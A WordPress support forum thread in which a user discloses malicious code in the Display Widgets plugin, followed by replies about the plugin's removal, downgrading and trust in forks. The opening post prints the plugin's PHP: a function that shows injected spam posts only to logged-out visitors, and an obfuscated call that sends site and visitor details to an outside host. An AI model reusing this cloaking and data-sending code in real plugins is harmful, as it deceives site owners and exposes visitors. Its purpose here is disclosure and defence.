• This is the latest version of the plugin code (version : https://plugins.trac.wordpress.org/browser/display-widgets/trunk/geolocation.php

    Look at the function on line 186 (pasted below).

    Note the name of the function dynamic_page, what do you think a function with name Dynamic Page does?

    It creates a DYNAMIC PAGE (a Dynamic WordPress Post) on Display Widget users sites and is loaded using line 299:

    299 add_filter( 'the_posts', array( 'dw_geolocation_connector', 'dynamic_page' ) );

    The above hooks into the_posts function, this line basically intercepts your Posts before they are output to the browser so the Dynamic Post can be added to the Posts.

    Why would a plugin to determine where widgets are loaded create Dynamic Posts?

    Line 187, this checks if a user is logged in, a logged in user is probably the site owner, when a user is logged in (the site owner) the Dynamic Page function does nothing (outputs the Posts normally). So if you are logged into your site and you look at your site in a browser everything looks normal.

    Why would a legitimate plugin feature be hidden from the site owner and other logged in users?

    If a user is logged out: that would be your sites visitors and Google it runs the code.

    The code below creates a Dynamic Post on your site with who knows what content?

    186	        public static function dynamic_page( $posts ) {
    187	                if ( !function_exists( 'is_user_logged_in' ) || is_user_logged_in() ) {
    188	                        return $posts;
    189	                }
    191	                $data = self::get_option();
    192	                if ( $data === false || !is_array( $data ) ) {
    193	                        return $posts;
    194	                }
    196	                $requested_page_slug = strtolower( $GLOBALS[ 'wp' ]->request );
    198	                if ( count( $posts ) == 0 && array_key_exists( $requested_page_slug, $data) ) {
    199	                        $post = new stdClass;
    200	                        $post_date = !empty( $data[ $requested_page_slug ][ 'post_date' ] ) ? $data[ $requested_page_slug ][ 'post_date' ] : date( 'Y-m-d H:i:s' );
    202	                        $post->post_title = $data[ $requested_page_slug ][ 'post_title' ];
    203	                        $post->post_content = $data[ $requested_page_slug ][ 'post_content' ];
    205	                        $post->post_author = 1;
    206	                        $post->post_name = $requested_page_slug;
    207	                        $post->guid = get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug;
    208	                        $post->ID = -3371;
    209	                        $post->post_status = 'publish';
    210	                        $post->comment_status = 'closed';
    211	                        $post->ping_status = 'closed';
    212	                        $post->comment_count = 0;
    213	                        $post->post_date = $post_date;
    214	                        $post->post_date_gmt = $post_date;
    216	                        $post = (object) array_merge(
    217	                                (array) $post, 
    218	                                array( 
    219	                                        'slug' => get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug,
    220	                                        'post_title' => $data[ $requested_page_slug ][ 'post_title' ],
    221	                                        'post content' => $data[ $requested_page_slug ][ 'post_content' ]
    222	                                )
    223	                        );
    225	                        $posts = NULL;
    226	                        $posts[] = $post;
    228	                        $GLOBALS[ 'wp_query' ]->is_page = true;
    229	                        $GLOBALS[ 'wp_query' ]->is_singular = true;
    230	                        $GLOBALS[ 'wp_query' ]->is_home = false;
    231	                        $GLOBALS[ 'wp_query' ]->is_archive = false;
    232	                        $GLOBALS[ 'wp_query' ]->is_category = false;
    233	                        unset( $GLOBALS[ 'wp_query' ]->query[ 'error' ] );
    234	                        $GLOBALS[ 'wp_query' ]->query_vars[ 'error' ] = '';
    235	                        $GLOBALS[ 'wp_query' ]->is_404 = false;
    236	                }
    238	                return $posts;
    239	        }
    241	        protected static function get_option() {
    242	                $unique_id = substr( md5( get_site_url() . 'unique' ), 0, 10 );
    243	                $encoded = get_option( $unique_id, 'undefined' );
    244	                $decoded = @json_decode( base64_decode( $encoded ), true );
    246	                if ( !empty( $decoded ) ) {
    247	                        return $decoded;
    248	                }
    249	                else {
    250	                        $old_option = get_option( 'displaywidgets_ids', array() );
    251	                        if ( !empty( $old_option ) ) {
    252	                                unset( $old_option[ '__3371_last_checked_3771__' ] );
    253	                                self::update_option( $old_option );
    254	                        }
    255	                        delete_option( 'displaywidgets_ids' );
    256	                        return $old_option;
    257	                }
    258	        }

    Why would this code exist in a plugin which controls the display of widgets, it doesn’t need any of this malicious code?

    Add to this on line 266 we have a function with base64 code, base64 is used to hide (obfuscate) code, the hidden code is line 268 and hides a link to http://stopspam.io/.

    You can’t obfuscate plugin code: https://developer.wordpress.org/plugins/wordpress-org/detailed-plugin-guidelines/#developer-expectations

    4. Keep your code (mostly) human readable.

    Why is this link hidden from users browsing the code?

    266	        protected static function endpoint_request( $_update = true ) {
    267	                $http = self::http_object();
    268	                $endpoint = base64_decode( $_update ? 'aHR0cDovL3N0b3BzcGFtLmlvL2FwaS91cGRhdGUvP3VybD0' : 'aHR0cDovL3N0b3BzcGFtLmlvL2FwaS9jaGVjay8/dXJsPQ==' );
    269	                $endpoint .= urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=4&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
    271	                $args = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
    272	                $response = @$http->get( $endpoint, $args );
    274	                if ( is_wp_error( $response ) || !isset( $response[ 'body' ] ) ) {
    275	            return '';
    276	                }
    278	        if ( empty( $response[ 'body' ] ) ) {
    279	                return '';
    280	                }
    282	                return @json_decode( $response[ 'body' ] );
    283	        }

    Despite my better judgment and earlier poor treatment reporting issues with this plugin I’ve emailed plugins@wordpress.org about these issues. Had I not been unfairly moderated for reporting earlier issues I’d have reported these issues over 6 weeks ago and many of the hacked sites wouldn’t have been hacked (assuming WordPress removed the plugin).

    More info at: https://stallion-theme.co.uk/display-widgets-plugin-review/ (under the heading “Display Widgets Plugin v2.6.2.* Includes Hacking Code!!!”).

    Since I removed the Display Widgets SEO Plus Plugin from the plugin repository I suggest downgrading to Display Widgets v2.05 https://downloads.wordpress.org/plugin/display-widgets.2.05.zip it’s the only safe version of the plugin since the new developer bought this plugin and started adding tracking code and hacking code.

    Suggestion to Display Widgets users.

    If you are annoyed at the new developer ruining a perfectly good plugin, send an email to plugins@wordpress.org and voice your annoyance. The WordPress plugin team have removed and reinstated this plugin three times since the new developer took control a few months back and they seem to just keep giving him chance after chance! He is either completely incompetent as a plugin developer or is deliberately adding malicious code to a popular plugin (I think the latter).

    More of you who email the plugin team more likely they are to listen, this developer needs to be removed and the Display Widgets plugin reverted back to version 2.05 (the last clean version).

    I guess I run the risk of being moderated again with the above rant.

    [ Signature moderated ]

Viewing 15 replies - 1 through 15 (of 18 total)
  • Thread Starter David Cameron Law


    The Display Widgets Plugin v2.6.3.1 has been removed from the plugin repository.

    If you run any version above 2.05 your site is at risk, the hacking code was added during version 2.6.1-


    It’s in all those versions.

    And the 2.6.0 code added the huge private server download, so the only safe version is 2.05 https://downloads.wordpress.org/plugin/display-widgets.2.05.zip which is the version before @displaywidget bought this plugin from the original developer.

    Still can’t get over the wordPress plugin team have reinstated this plugin three times, how many times before they remove @displaywidget as a contributor? He can’t be trusted.

    [ Signature moderated ]

    SEO Dave –
    I wanted to try updating to your forked plugin (Display Widgets SEO Plus), but when I search for it it doesn’t come up as an option to install. Did it also get removed by the WP team? Is there a separate install repository for it?

    Thank you for alerting everyone and taking action as you have been. What a fiasco!

    Edit: I see now that you removed it from the repository yourself (I had read another thread but only skimmed this one). I’ll install an older version of the original plugin for now. Thanks!

    Thread Starter David Cameron Law


    When I was moderated here I got really annoyed and removed all my plugins from the repository (I was REALLY annoyed, I tried to help people and got moderated for my trouble!!!): I’ve lost some trust in the WordPress team over this and haven’t decided what to do with the Display Widgets SEO Plus Plugin so currently it’s not available.

    Otto (from the plugin team) emailed me. The @displaywidget developer has been banned from the WordPress site and won’t be given another chance (finally). This means the Display Widgets Plugin is officially closed.

    This unfortunately means there’s tens of thousands (I think more than 50,000!) of WordPress sites running the hacking code (v2.6.*) and won’t even know there’s a problem!!!

    I’ve run out a quick update for the plugin v3.0.0 which is the v2.05 code (that was the last good version before @displaywidget bought it and started adding malicious code) with a few bug fixes and also added the ability to hide widget titles (one of the Display Widgets SEO Plus Plugin users requested the feature).

    I’ve sent the update to the plugin team, it’s up to them if they use it. If not I’ll upload it to https://stallion-theme.co.uk/display-widgets-plugin-review/ but that would mean users would have to use FTP to update and most of the 200,000+ active installs won’t update that way, so there would still be a lot of hacked sites.

    [ Signature moderated ]

    This is just sick and so disappointing. What’s going on with that plugin? Since it has been purchased by someone else it goes down to nowhere. It gets back online in the Repo and gets removed again? What’s up with the Review Team?

    To bring another perspective on my issue – I’ve got some themes around with TGMPA, which includes this Plugin and is obviously not working properly since it gets on and off all the time.

    Please simply remove this plugin for once and for all, put version 2.05 back online and kick this devs ***. Sorry for that but I’ve been watching this for weeks/months now and I simply do not have any more patience.

    Thread Starter David Cameron Law


    Received a response from Otto (the plugin team) regarding the 3.0.0 update zip file I made/sent them.

    They don’t want it: he wrongly thought I was asking to take control of this plugin: no thanks, don’t trust the forum moderators to be fair, so can’t offer long term support here (can I be moderated for saying I don’t trust the moderators to be fair for example???).

    Since the repository don’t want my v3.0.0 update I’ve uploaded it to https://stallion-theme.co.uk/display-widgets-plugin-review/ (zip file link near the top).

    It’s a direct update from the 2.05 code so it does NOT include any of the code added by the now banned contributor @displaywidget and will use your current Display Widget settings.

    The main bug fix is with transients, there was a mistake in which filter was used to refresh the transient cache.

    Also cleaned the code a little, the 2.05 code had a bunch of &’s added to some of the code to suppress error message: shouldn’t suppress error messages, you should fix the issue.

    And added one small feature I took from the Display Widgets SEO Plus Plugin code which was a requested feature by a plugin user https://wordpress.org/support/topic/new-feature-request-widget-name-and-display-name/

    This was a really quick update, there’s still issues with the WPML language plugin support (I fixed these in the Display Widgets SEO Plus version), but it would have taken a lot more time to add those fixes.

    You shouldn’t need any support for the 3.0.0 update, but if you do post it at https://stallion-theme.co.uk/display-widgets-plugin-review/.

    If a new developer takes control of this plugin start with above v3.0.0 so my code is over wrote when you push your first update and feel free to use my v3.0.0 code as your starting point.

    [ Signature moderated ]

    Many thanks for this!

    I just want to thank you for taking the time to explain and alert users concerning this plugin, and also providing what you represent to be a safe version.

    Unfortunately, downloading your version also requires trust — trust in you, trust in your private site as a download source. While I personally have no reason to doubt you– I decided that it was safer to simply abandon (delete) the plugin and its function altogether. Otherwise I was in the position of switching out a plugin with known security issues in favor of one coming from an untrusted source — “untrusted” simply because I personally do not have previous experience with you.

    I hope you understand this — because without your very detailed post I would not have known or understood why the widget had been removed, and I might have made the mistake of leaving it in place. So I am grateful…. I just feel uncomfortable about the process.

    Thanks for this write-up and the fork. I haven’t yet decided how to proceed, as I agree with @abigailm that from a security perspective it would be great if it was uploaded to wordpress.org. Even if this issue uncovers that wordpress.org should have better security audit of it’s plugins.

    Thread Starter David Cameron Law


    @abigailm and @torbjornm

    I fully understand, every bit of code I consider using is manually checked for potential problems (not just security, also performance as it’s important to Google rankings: I won’t use plugins which use Jquery for example) before it’s installed on a live site: I download the code, check it out in a text editor for anything untoward, run the code on a localhost install (under multiple environments), finally test on a live site I don’t mind loosing monitoring what it does.

    You shouldn’t assume because a plugin is in the official WordPress plugin repository it’s safe, it’s only marginally safer than randomly downloading code from a random site. If I spent a few hours specifically looking for problem plugins I’d safely bet I’d find one.

    You can see the failings in the system with this plugin, I looked at the code multiple times and was so tunnel visioned on privacy (the tracking code) I missed the hacking code for at least a couple of updates and the code was blatant and obvious and about one scroll below where I was looking at the tracking code! Same with the plugin team, they missed it at least twice after the plugin was removed and checked before being reinstated.

    Couldn’t see the wood for the trees comes to mind!

    A while back I found an Amazon affiliate plugin in the repo which added the plugin developers affiliate IDs to most of the affiliate links, another one which added a link back to the developers website that was hidden by javascript…. I’m just a WordPress user like you, just so happens I check out every bit of code I’m considering using and when I find a problem go to the trouble of emailing the plugin team.

    There are thousands of plugin updates every week, they aren’t checked by the plugin team until someone (like me) emails them on plugins@wordpress.org to inform them there’s an issue. The plugin repository works on trust and as you’ve seen with this plugin it can go badly wrong.

    6 weeks ago this was posted in this support forum: https://wordpress.org/support/topic/display-widget-inserted-spammy-links/, the plugin was removed from the repo soon after (I assumed someone had contacted the plugin team direct), a week or so ago the plugin was reinstated with the same hacking code, so I guess it was another issue why the plugin was removed!

    I’ve seen this with multiple plugins, an issue is reported in the support forum, but the problem remains weeks/months/years later: I guess no one emailed the plugin team (or there wasn’t a problem). You have to remember in these forums users jump to the wrong conclusion all the time: “I installed plugin XYZ, next day my site was hacked, it was plugin XYZ at fault” (most of the time the user will be wrong).

    Had I not got annoyed at @displaywidget on this thread https://wordpress.org/support/topic/payday-loans-seo-spam/#post-9478813 I wouldn’t have emailed the plugin team about the hacking code and the plugin would still be live infecting thousands of new sites everyday (there’s still about 50,000 infected sites that need an update).

    If you see a problem with a plugin do not assume posting on the support forum will mean the plugin team will see/act on it, email them on plugins@wordpress.org direct and they’ll look into it: in my experience within 24 hours. They are very responsive, I’ve an email thread related to this plugin with 12 email responses from the plugin team. Give them a week and check if the issue was fixed, if not email again.

    I got another response from Otto (plugin team) and he mentioned either rolling the plugin back to v2.05 (with a new version number so users have an update under their Dashboard) or using my v3.0.0 code with the bug fixes. Since the old code was working fine on 200,000+ sites without an update for years he mentioned closing the plugin after the one update.

    As I understand things it would mean users would be able to install/update the plugin, but no one would be developing/supporting it (no contributors).

    I’m surprised they haven’t already rushed this out and forced an update, there’s around 50,000 sites running hacked code, the old developer will be still posting SPAMMY links to these sites (damaging their Google rankings) and could be adding backdoors to those sites for future hacking: every hour that passes could mean more sites compromised to a degree where they need a full security audit.

    This is a SEVERE holy crap security issue and should be treated as such.

    If concerned about my v3.0.0 code you could also downgrade to v2.05 https://downloads.wordpress.org/plugin/display-widgets.2.05.zip (that’s the official WordPress Plugin Repository source: there’s no security issues with it), that version was on 200,000+ sites (probably still running on over 100,000 sites) with only minor bug issues for years (see this forum for issues).

    [ Signature moderated ]

    I agree with everything you say, Dave — I just think that for a production site I need to have my own policy that I stick to — and that includes things like considering source of plugin, history, size of user base. So I am 100% supportive of everything you have done – but I opted to install a different plugin to replace the Display Widget function for now. I understand that this would not be a solution for people who used the Display Widget to its full potential for many modifications… but I was fortunate because I had not extensively integrated the plugin into site content, so starting fresh with a different system is not too labor intensive for me.

    I’ve chosen to try the plugin Widget Options – https://wordpress.org/plugins/widget-options/ – but haven’t used it yet, am not yet in a position to recommend it. But it does seem to have the basic functionality of being able enable/disable widget display as needed.

    Again I personally am confident that you know what you are doing and that your software is safe — and if I had a large number of Widget Display customizations that needed to be retained I’d likely use your plugin at least temporarily in order to allow me to catalog the changes needed. And I want to both thank you and encourage you for your your dedicated efforts. I understand and agree that there are potential security issues with any WordPress.org plugin or update. It’s just that I can reduced that risk somewhat by sticking to my policy — and in this case, for me, it means opting for a different plugin.

    Thanks for investigating and reporting this, Dave.
    Much appreciated. I only use this plugin on one site, so it was an easy fix thanks to your link to version 2.5 because I didn’t have that one.

    It’s a shame to see this happen to one of my standby plugins. I’ve used it for years and it’s made things a lot easier.

    That said, Dave thank you for alerting everyone to this issue. I’ve tried to publicize this thread as much as possible, because otherwise it would be darn near impossible to know what was going on with Display Widgets.

    The only clue I had that something was going on was that the Wordfence plugin alerted me to the fact Display Widgets had been removed from the repository. I searched around and stumbled upon this thread.

    There has to be a better way to alert users of something like this. I realize it’s tough with security issues because you don’t want to just blurt it out. But I can’t imagine the number of people running this plugin who still have no idea about any of these issues. There’s just got to be a solution to this.

    Maybe someone forward this information to WPtavern if not already done?

    Good idea, I forwarded a link on to them!

    Unfortunately the problem here doesn’t seem to be finding a solution for this type of situation, it is getting the people in charge to finally properly address the issue and implement one or more of the existing solutions.

    One option is for the people running the Plugin Directory to release a new secured version of the plugins, which for this plugin could be done by simply re-releasing the version prior the new developer taking over, with a new version number. They have released new versions to resolve security issue very infrequently, while they claim to be doing it on a wider basis. Once when we brought up that it wasn’t being done in situations it should have in thread on this forum and our reply was deleted, so it appears they are not interested in even discussing what is really going on with this. We have also offered to help them to handle putting together fixed version, but we haven’t gotten any response. Based on past experience, what seems to determine if they will release a new version is if the security issue is receiving press coverage, so if you can get some for this they might take action.

    A second option is for WordPress to warn when removed plugins are being used on websites and provide at least a basic explanation of why it was removed, which is something we have been trying to get implemented for over five years. At various times the response has been that it is something that is going to be done, while other times the response is that it would put websites at more risk to do that, so it isn’t clear what is going on. It would be great if Wordfence would get behind this effort instead of only being interested in using the issue to get people to use their plugin.

Viewing 15 replies - 1 through 15 (of 18 total)
  • The topic ‘Display Widgets Plugin v2.6.3.1 Includes Hacking Code’ is closed to new replies.